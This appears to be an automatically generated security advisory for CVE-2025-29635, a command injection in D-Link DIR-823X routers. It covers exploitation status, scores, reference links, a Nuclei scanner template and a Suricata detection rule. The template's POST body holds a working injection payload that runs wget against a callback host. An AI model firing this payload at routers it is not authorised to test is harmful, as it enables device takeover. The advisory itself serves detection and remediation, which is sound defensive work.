CVE-2025-29635: D-Link DIR-823X exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

A command injection vulnerability in D-Link DIR-823X 240126 and 240802 allows an authorized attacker to execute arbitrary commands on remote devices by sending a POST request to /goform/set_prohibiting via the corresponding function, triggering remote command execution.

Description quoted from the CVE record (assigned by mitre, published 2025-03-25).

Weakness: CWE-77 Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing high privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since: 2026-04-24
US federal deadline: 2026-05-08
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-05178, CNNVD-202503-2933, CNVD-2025-11330, EUVD-2025-14821, GHSA-m9wc-3h85-pp63

VEDAS cluster: VEDAS:FLIRTYFOX

Exploit Observer links 7 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (7)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-29635.yaml
Code repository: https://github.com/d-link-sa/cve-2025-29635
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2025/CVE-2025-29635.yaml
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2025/CVE-2025-29635.yaml
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-29635.rules
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-29635.rules
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-29635.rules

Research and write-ups (1)

Research or write-up: https://www.akamai.com/blog/security-research/2026/apr/cve-2025-29635-mirai-campaign-targets-d-link-devices

Vulnerability databases and vendor advisories (7)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://access.redhat.com/security/cve/cve-2025-29635
Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-14821
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-m9wc-3h85-pp63
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-29635
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-29635
Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202503-2933
Vulnerability database or vendor advisory: https://www.cnvd.org.cn/flaw/show/CNVD-2025-11330

News (1)

News: https://securityaffairs.com/191135/malware/mirai-botnet-exploits-cve-2025-29635-to-target-legacy-d-link-routers.html

15 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.879
very likely to be attacked soon
VEDAS: 0.982
strong exploit evidence
On CISA KEV: Yes, since 2026-04-24
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

Product	Affected	Not affected
Not stated	version n/a	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Dlink - Command Injection
A command injection vulnerability in D-Link DIR-823X 240126 and 240802 allows an authorized attacker to execute arbitrary commands on remote devices by sending a POST request to /goform/set_prohibiting via the corresponding function, triggering remote command execution.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /, POST /goform/set_prohibiting); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2025-29635.yaml

Show the template (51 lines)

yaml

id: CVE-2025-29635

info:
  name: "Dlink - Command Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    A command injection vulnerability in D-Link DIR-823X 240126 and 240802 allows an authorized attacker to
    execute arbitrary commands on remote devices by sending a POST request to /goform/set_prohibiting via the
    corresponding function, triggering remote command execution.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-29635&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=dlink&match=exact
  classification:
    cvss-score: 7.2
    cve-id: CVE-2025-29635
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2025,dlink,rce,kev,vkev
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - "contains(to_lower(body), 'dir-823')"
        internal: true

  - raw:
      - |
        POST /goform/set_prohibiting HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        macaddr=||wget http://{{interactsh-url}}||&token=00000000000000000000000000000000

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "status_code == 200"
        condition: and

CVE-2025-29635.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-29635 Dlink - Command Injection. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-29635 Dlink - Command Injection"; flow:established,to_server; http.uri; content:"set_prohibiting"; nocase; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-29635; reference:url,https://www.exploit.observer/?keyword=CVE-2025-29635&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=dlink&match=exact; sid:1011491; rev:1;)

CVE-2025-29635.rules on GitHub

References

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.